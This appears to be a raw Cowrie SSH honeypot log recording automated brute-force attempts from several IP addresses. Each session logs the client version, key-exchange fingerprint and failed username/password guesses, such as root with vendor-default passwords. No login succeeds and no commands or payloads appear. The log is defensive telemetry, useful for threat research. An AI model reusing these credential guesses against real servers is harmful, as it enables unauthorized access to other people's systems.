{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":53093,"dst_ip":"159.203.135.109","dst_port":22,"session":"963188c497cb","protocol":"ssh","message":"New connection: 2.57.121.25:53093 (159.203.135.109:22) [session: 963188c497cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:54:30.477946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:54:30.481892Z","src_ip":"2.57.121.25","session":"963188c497cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:54:30.586745Z","src_ip":"2.57.121.25","session":"963188c497cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28041977","message":"login attempt [user/28041977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:54:31.082741Z","src_ip":"2.57.121.25","session":"963188c497cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27121992","message":"login attempt [user/27121992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:54:32.191225Z","src_ip":"2.57.121.25","session":"963188c497cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27121985","message":"login attempt [user/27121985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:54:33.299044Z","src_ip":"2.57.121.25","session":"963188c497cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27101988","message":"login attempt [user/27101988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:54:34.407950Z","src_ip":"2.57.121.25","session":"963188c497cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27091994","message":"login attempt [user/27091994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:54:35.517276Z","src_ip":"2.57.121.25","session":"963188c497cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:54:36.625623Z","src_ip":"2.57.121.25","session":"963188c497cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":44260,"dst_ip":"10.17.0.5","dst_port":22,"session":"1de55669b82b","protocol":"ssh","message":"New connection: 45.78.230.231:44260 (10.17.0.5:22) [session: 1de55669b82b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:55:53.729332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:55:53.734346Z","src_ip":"45.78.230.231","session":"1de55669b82b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:55:59.674206Z","src_ip":"45.78.230.231","session":"1de55669b82b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:55:59.681137Z","src_ip":"45.78.230.231","session":"1de55669b82b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":62789,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd12ca301b7e","protocol":"ssh","message":"New connection: 213.209.159.56:62789 (10.17.0.5:22) [session: cd12ca301b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:56:49.614559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:56:49.618845Z","src_ip":"213.209.159.56","session":"cd12ca301b7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:56:49.700052Z","src_ip":"213.209.159.56","session":"cd12ca301b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessi","password":"jessi","message":"login attempt [jessi/jessi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:56:50.098540Z","src_ip":"213.209.159.56","session":"cd12ca301b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessi","password":"jessi1","message":"login attempt [jessi/jessi1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:56:51.183460Z","src_ip":"213.209.159.56","session":"cd12ca301b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessi","password":"jessi123","message":"login attempt [jessi/jessi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:56:52.267401Z","src_ip":"213.209.159.56","session":"cd12ca301b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessi","password":"jessi1234","message":"login attempt [jessi/jessi1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:56:53.352687Z","src_ip":"213.209.159.56","session":"cd12ca301b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessi","password":"jessi12345","message":"login attempt [jessi/jessi12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:56:54.438233Z","src_ip":"213.209.159.56","session":"cd12ca301b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:56:55.523257Z","src_ip":"213.209.159.56","session":"cd12ca301b7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":56516,"dst_ip":"10.17.0.5","dst_port":22,"session":"81e0841d9871","protocol":"ssh","message":"New connection: 45.78.230.231:56516 (10.17.0.5:22) [session: 81e0841d9871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:57:35.775474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:57:35.780677Z","src_ip":"45.78.230.231","session":"81e0841d9871","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:57:36.020077Z","src_ip":"45.78.230.231","session":"81e0841d9871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nj123456","message":"login attempt [root/Nj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:57:37.006721Z","src_ip":"45.78.230.231","session":"81e0841d9871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:57:39.487214Z","src_ip":"45.78.230.231","session":"81e0841d9871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":48650,"dst_ip":"159.203.135.109","dst_port":22,"session":"0aa469e85fb9","protocol":"ssh","message":"New connection: 31.57.216.40:48650 (159.203.135.109:22) [session: 0aa469e85fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:58:53.393940Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:58:53.398759Z","src_ip":"31.57.216.40","session":"0aa469e85fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":48662,"dst_ip":"159.203.135.109","dst_port":22,"session":"26e7cc8557dd","protocol":"ssh","message":"New connection: 31.57.216.40:48662 (159.203.135.109:22) [session: 26e7cc8557dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:58:53.555674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:58:53.561217Z","src_ip":"31.57.216.40","session":"26e7cc8557dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:58:53.664726Z","src_ip":"31.57.216.40","session":"26e7cc8557dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"service123","message":"login attempt [root/service123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:58:54.019343Z","src_ip":"31.57.216.40","session":"26e7cc8557dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:58:55.128729Z","src_ip":"31.57.216.40","session":"26e7cc8557dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":41956,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4ed894b376f","protocol":"ssh","message":"New connection: 45.78.230.231:41956 (10.17.0.5:22) [session: d4ed894b376f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:59:18.619126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:59:18.623896Z","src_ip":"45.78.230.231","session":"d4ed894b376f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:59:18.854754Z","src_ip":"45.78.230.231","session":"d4ed894b376f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei!123","message":"login attempt [root/Huawei!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:59:19.809953Z","src_ip":"45.78.230.231","session":"d4ed894b376f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:59:22.042983Z","src_ip":"45.78.230.231","session":"d4ed894b376f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":53830,"dst_ip":"10.17.0.5","dst_port":22,"session":"efc5a569432a","protocol":"ssh","message":"New connection: 45.78.230.231:53830 (10.17.0.5:22) [session: efc5a569432a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:01:02.223228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:01:02.227995Z","src_ip":"45.78.230.231","session":"efc5a569432a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:01:02.475202Z","src_ip":"45.78.230.231","session":"efc5a569432a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kingdee","message":"login attempt [root/kingdee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:01:07.042549Z","src_ip":"45.78.230.231","session":"efc5a569432a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:01:08.297459Z","src_ip":"45.78.230.231","session":"efc5a569432a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.20.66","src_port":23552,"dst_ip":"10.17.0.5","dst_port":22,"session":"42ed5352deaf","protocol":"ssh","message":"New connection: 65.49.20.66:23552 (10.17.0.5:22) [session: 42ed5352deaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:01:39.366272Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003bqz~{\\xd2\t\\xec{\\xedq\\xc5\\xf3L'","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003bqz~{\\xd2\t\\xec{\\xedq\\xc5\\xf3L'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:01:39.370633Z","src_ip":"65.49.20.66","session":"42ed5352deaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:01:39.374111Z","src_ip":"65.49.20.66","session":"42ed5352deaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":59588,"dst_ip":"10.17.0.5","dst_port":22,"session":"9193128c0c5e","protocol":"ssh","message":"New connection: 45.78.230.231:59588 (10.17.0.5:22) [session: 9193128c0c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:02:43.935451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:02:43.940653Z","src_ip":"45.78.230.231","session":"9193128c0c5e","protocol":"ssh"}
